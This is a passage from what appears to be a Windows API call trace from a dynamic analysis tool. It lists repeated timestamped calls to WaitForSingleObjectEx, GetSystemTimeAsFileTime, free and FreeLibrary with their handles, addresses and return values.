WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0192.173] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x53664d86, dwHighDateTime=0x1d9eb0c)) [0192.174] free (_Block=0x196ef0d1f60) [0192.174] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0192.174] free (_Block=0x196ef0d67b0) [0192.175] free (_Block=0x196ef0fb360) [0192.175] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0192.180] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x53664d86, dwHighDateTime=0x1d9eb0c)) [0192.181] free (_Block=0x196ef0d1ba0) [0192.181] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0192.181] free (_Block=0x196ef0d67b0) [0192.182] free (_Block=0x196ef0fb4a0) [0192.182] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0192.189] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5368abcf, dwHighDateTime=0x1d9eb0c)) [0192.190] free (_Block=0x196ef0d1b00) [0192.190] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0192.190] free (_Block=0x196ef0d67b0) [0192.191] free (_Block=0x196ef0fb5e0) [0192.191] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0192.196] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5368abcf, dwHighDateTime=0x1d9eb0c)) [0192.196] free (_Block=0x196ef0d20e0) [0192.196] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0192.197] free (_Block=0x196ef0d67b0) [0192.197] free (_Block=0x196ef0fb680) [0192.198] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0192.372] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x53854cee, dwHighDateTime=0x1d9eb0c)) [0192.373] free (_Block=0x196ef0d1fa0) [0192.373] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0192.373] free (_Block=0x196ef0d67b0) [0192.374] free (_Block=0x196ef0fb950) [0192.374] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0192.380] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x53854cee, dwHighDateTime=0x1d9eb0c)) [0192.381] free (_Block=0x196ef0d1cc0) [0192.381] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0192.381] free (_Block=0x196ef0d67b0) [0192.382] free (_Block=0x196ef0fb270) [0192.382] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0192.392] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5387b56f, dwHighDateTime=0x1d9eb0c)) [0192.393] free (_Block=0x196ef0d1ce0) [0192.393] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0192.394] free (_Block=0x196ef0d67b0) [0192.394] free (_Block=0x196ef0fbe50) [0192.395] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0192.417] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x538c6e10, dwHighDateTime=0x1d9eb0c)) [0192.417] free (_Block=0x196ef0d1ae0) [0192.418] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0192.418] free (_Block=0x196ef0d67b0) [0192.419] free (_Block=0x196ef0fb860) [0192.419] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0192.419] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0192.693] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x53b50470, dwHighDateTime=0x1d9eb0c)) [0192.694] free (_Block=0x196ef0d1e00) [0192.694] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0192.695] free (_Block=0x196ef0d67b0) [0192.695] free (_Block=0x196ef0fbbd0) [0192.696] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0192.702] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x53b75a67, dwHighDateTime=0x1d9eb0c)) [0192.702] free (_Block=0x196ef0d1d00) [0192.702] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0192.703] free (_Block=0x196ef0d67b0) [0192.704] free (_Block=0x196ef0fb8b0) [0192.704] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0192.712] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x53b75a67, dwHighDateTime=0x1d9eb0c)) [0192.712] free (_Block=0x196ef0d1ba0) [0192.712] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0192.713] free (_Block=0x196ef0d67b0) [0192.714] free (_Block=0x196ef0fb540) [0192.715] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0192.721] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x53b9d26d, dwHighDateTime=0x1d9eb0c)) [0192.722] free (_Block=0x196ef0d1a80) [0192.722] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0192.723] free (_Block=0x196ef0d67b0) [0192.723] free (_Block=0x196ef0fb9a0) [0192.724] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0192.920] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x53d8bddc, dwHighDateTime=0x1d9eb0c)) [0192.921] free (_Block=0x196ef0d1ba0) [0192.921] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0192.921] free (_Block=0x196ef0d67b0) [0192.922] free (_Block=0x196ef0fb900) [0192.922] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0192.929] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x53d8bddc, dwHighDateTime=0x1d9eb0c)) [0192.930] free (_Block=0x196ef0d1fa0) [0192.930] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0192.931] free (_Block=0x196ef0d67b0) [0192.932] free (_Block=0x196ef0fb310) [0192.932] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0192.942] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x53db1c79, dwHighDateTime=0x1d9eb0c)) [0192.942] free (_Block=0x196ef0d1ca0) [0192.942] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0192.943] free (_Block=0x196ef0d67b0) [0192.944] free (_Block=0x196ef0fb950) [0192.944] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0193.137] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0193.138] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0193.138] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0193.141] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x53fa228b, dwHighDateTime=0x1d9eb0c)) [0193.141] free (_Block=0x196ef0d1bc0) [0193.141] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0193.142] free (_Block=0x196ef0d67b0) [0193.143] free (_Block=0x196ef0fbf40) [0193.143] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0193.155] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x53fc7de1, dwHighDateTime=0x1d9eb0c)) [0193.155] free (_Block=0x196ef0d1de0) [0193.156] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0193.156] free (_Block=0x196ef0d67b0) [0193.157] free (_Block=0x196ef0fb270) [0193.157] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0193.163] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x53fc7de1, dwHighDateTime=0x1d9eb0c)) [0193.163] free (_Block=0x196ef0d1d20) [0193.163] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0193.164] free (_Block=0x196ef0d67b0) [0193.164] free (_Block=0x196ef0fba40) [0193.165] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0193.176] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x53ff2bc2, dwHighDateTime=0x1d9eb0c)) [0193.177] free (_Block=0x196ef0d1ca0) [0193.177] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0193.177] free (_Block=0x196ef0d67b0) [0193.178] free (_Block=0x196ef0fb680) [0193.178] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0193.569] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x543af301, dwHighDateTime=0x1d9eb0c)) [0193.569] free (_Block=0x196ef0d1ce0) [0193.569] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0193.570] free (_Block=0x196ef0d67b0) [0193.571] free (_Block=0x196ef0fbfe0) [0193.571] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0193.577] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x543cdeac, dwHighDateTime=0x1d9eb0c)) [0193.578] free (_Block=0x196ef0d1aa0) [0193.578] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0193.578] free (_Block=0x196ef0d67b0) [0193.579] free (_Block=0x196ef0fba40) [0193.579] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0193.585] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x543cdeac, dwHighDateTime=0x1d9eb0c)) [0193.585] free (_Block=0x196ef0d1d40) [0193.585] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0193.586] free (_Block=0x196ef0d67b0) [0193.586] free (_Block=0x196ef0fbbd0) [0193.586] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0193.595] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x543f48af, dwHighDateTime=0x1d9eb0c)) [0193.595] free (_Block=0x196ef0d1e60) [0193.596] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0193.596] free (_Block=0x196ef0d67b0) [0193.596] free (_Block=0x196ef0fb5e0) [0193.597] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0193.605] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5441a16b, dwHighDateTime=0x1d9eb0c)) [0193.606] free (_Block=0x196ef0d1cc0) [0193.606] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0193.606] free (_Block=0x196ef0d67b0) [0193.607] free (_Block=0x196ef0fb4a0) [0193.607] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0193.794] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x545e3e4e, dwHighDateTime=0x1d9eb0c)) [0193.795] free (_Block=0x196ef0d2060) [0193.795] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0193.796] free (_Block=0x196ef0d67b0) [0193.796] free (_Block=0x196ef0fbcc0) [0193.796] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0193.805] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x545e3e4e, dwHighDateTime=0x1d9eb0c)) [0193.805] free (_Block=0x196ef0d1980) [0193.805] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0193.806] free (_Block=0x196ef0d67b0) [0193.806] free (_Block=0x196ef0fb540) [0193.806] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0193.812] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5460c8a2, dwHighDateTime=0x1d9eb0c)) [0193.813] free (_Block=0x196ef0d1f80) [0193.813] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0193.813] free (_Block=0x196ef0d67b0) [0193.814] free (_Block=0x196ef0fbbd0) [0193.814] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0193.826] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x54630905, dwHighDateTime=0x1d9eb0c)) [0193.826] free (_Block=0x196ef0d1960) [0193.826] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0193.827] free (_Block=0x196ef0d67b0) [0193.827] free (_Block=0x196ef0fb720) [0193.827] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0193.833] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x54630905, dwHighDateTime=0x1d9eb0c)) [0193.833] free (_Block=0x196ef0d1d60) [0193.834] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0193.834] free (_Block=0x196ef0d67b0) [0193.834] free (_Block=0x196ef0fc170) [0193.835] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0194.031] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x54820892, dwHighDateTime=0x1d9eb0c)) [0194.031] free (_Block=0x196ef0d20e0) [0194.031] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0194.032] free (_Block=0x196ef0d67b0) [0194.032] free (_Block=0x196ef0fb540) [0194.033] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0194.038] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x54820892, dwHighDateTime=0x1d9eb0c)) [0194.038] free (_Block=0x196ef0d19a0) [0194.038] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0194.039] free (_Block=0x196ef0d67b0) [0194.040] free (_Block=0x196ef0fbc20) [0194.040] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0194.050] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x54846a86, dwHighDateTime=0x1d9eb0c)) [0194.051] free (_Block=0x196ef0d20c0) [0194.051] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0194.051] free (_Block=0x196ef0d67b0) [0194.052] free (_Block=0x196ef0fbd10) [0194.052] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0194.062] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5486e69f, dwHighDateTime=0x1d9eb0c)) [0194.062] free (_Block=0x196ef0d1e80) [0194.062] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0194.063] free (_Block=0x196ef0d67b0) [0194.063] free (_Block=0x196ef0fb360) [0194.064] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0194.263] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x54a5c33a, dwHighDateTime=0x1d9eb0c)) [0194.263] free (_Block=0x196ef0d1b00) [0194.263] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0194.265] free (_Block=0x196ef0d67b0) [0194.265] free (_Block=0x196ef0fbb30) [0194.266] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0194.308] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0194.309] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0194.546] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x54d0ae4f, dwHighDateTime=0x1d9eb0c)) [0194.546] free (_Block=0x196ef0d1d60) [0194.546] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0194.548] free (_Block=0x196ef0d67b0) [0194.548] free (_Block=0x196ef0fb540) [0194.549] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0194.554] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x54d0ae4f, dwHighDateTime=0x1d9eb0c)) [0194.554] free (_Block=0x196ef0d1f80) [0194.554] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0194.555] free (_Block=0x196ef0d67b0) [0194.555] free (_Block=0x196ef0fbea0) [0194.556] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0194.603] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x54d82982, dwHighDateTime=0x1d9eb0c)) [0194.604] free (_Block=0x196ef0d1bc0) [0194.604] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0194.605] free (_Block=0x196ef0d67b0) [0194.605] free (_Block=0x196ef0fbc70) [0194.606] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0194.611] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x54da3fe9, dwHighDateTime=0x1d9eb0c)) [0194.611] free (_Block=0x196ef0d1be0) [0194.611] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0194.612] free (_Block=0x196ef0d67b0) [0194.612] free (_Block=0x196ef0fb770) [0194.613] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0194.619] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x54da3fe9, dwHighDateTime=0x1d9eb0c)) [0194.619] free (_Block=0x196ef0d19a0) [0194.619] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0194.620] free (_Block=0x196ef0d67b0) [0194.621] free (_Block=0x196ef0fb2c0) [0194.621] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0194.627] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x54dc99fe, dwHighDateTime=0x1d9eb0c)) [0194.627] free (_Block=0x196ef0d1f20) [0194.627] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0194.628] free (_Block=0x196ef0d67b0) [0194.629] free (_Block=0x196ef0fbae0) [0194.629] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0194.826] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x54fb992c, dwHighDateTime=0x1d9eb0c)) [0194.827] free (_Block=0x196ef0d1f40) [0194.827] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0194.827] free (_Block=0x196ef0d67b0) [0194.828] free (_Block=0x196ef0fb270) [0194.828] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0194.841] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x54fdfa3b, dwHighDateTime=0x1d9eb0c)) [0194.841] free (_Block=0x196ef0d1fa0) [0194.841] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0194.842] free (_Block=0x196ef0d67b0) [0194.843] free (_Block=0x196ef0fc030) [0194.843] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0194.848] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x54fdfa3b, dwHighDateTime=0x1d9eb0c)) [0194.848] free (_Block=0x196ef0d1a80) [0194.848] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0194.849] free (_Block=0x196ef0d67b0) [0194.850] free (_Block=0x196ef0fb950) [0194.850] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0194.856] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x55005e9a, dwHighDateTime=0x1d9eb0c)) [0194.856] free (_Block=0x196ef0d1f00) [0194.856] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0194.857] free (_Block=0x196ef0d67b0) [0194.857] free (_Block=0x196ef0fba40) [0194.858] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0194.863] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x55005e9a, dwHighDateTime=0x1d9eb0c)) [0194.864] free (_Block=0x196ef0d1d20) [0194.864] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0194.864] free (_Block=0x196ef0d67b0) [0194.865] free (_Block=0x196ef0fbc20) [0194.865] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0195.018] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x551834c0, dwHighDateTime=0x1d9eb0c)) [0195.019] free (_Block=0x196ef0d1e60) [0195.019] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0195.020] free (_Block=0x196ef0d67b0) [0195.021] free (_Block=0x196ef0fb270) [0195.021] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0195.027] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x551a9911, dwHighDateTime=0x1d9eb0c)) [0195.028] free (_Block=0x196ef0d1b40) [0195.028] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0195.029] free (_Block=0x196ef0d67b0) [0195.029] free (_Block=0x196ef0fb540) [0195.030] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0195.038] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x551a9911, dwHighDateTime=0x1d9eb0c)) [0195.038] free (_Block=0x196ef0d1e20) [0195.038] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0195.039] free (_Block=0x196ef0d67b0) [0195.040] free (_Block=0x196ef0fb220) [0195.040] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0195.046] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x551d56c3, dwHighDateTime=0x1d9eb0c)) [0195.047] free (_Block=0x196ef0d1c80) [0195.047] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0195.048] free (_Block=0x196ef0d67b0) [0195.049] free (_Block=0x196ef0fb5e0) [0195.049] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0195.055] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x551d56c3, dwHighDateTime=0x1d9eb0c)) [0195.055] free (_Block=0x196ef0d1fe0) [0195.055] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0195.056] free (_Block=0x196ef0d67b0) [0195.057] free (_Block=0x196ef0fb220) [0195.057] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0195.218] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x5537364a, dwHighDateTime=0x1d9eb0c)) [0195.219] free (_Block=0x196ef0d1c40) [0195.219] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0195.221] free (_Block=0x196ef0d67b0) [0195.221] free (_Block=0x196ef0fbe00) [0195.222] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0195.431] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x555631b9, dwHighDateTime=0x1d9eb0c)) [0195.431] free (_Block=0x196ef0d1bc0) [0195.431] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0195.432] free (_Block=0x196ef0d67b0) [0195.432] free (_Block=0x196ef0fc170) [0195.432] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0195.464] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x555d59d4, dwHighDateTime=0x1d9eb0c)) [0195.465] free (_Block=0x196ef0d1d20) [0195.465] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0195.465] free (_Block=0x196ef0d67b0) [0195.466] free (_Block=0x196ef0fb8b0) [0195.466] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0195.466] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0195.957] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x55a8a5b6, dwHighDateTime=0x1d9eb0c)) [0195.958] free 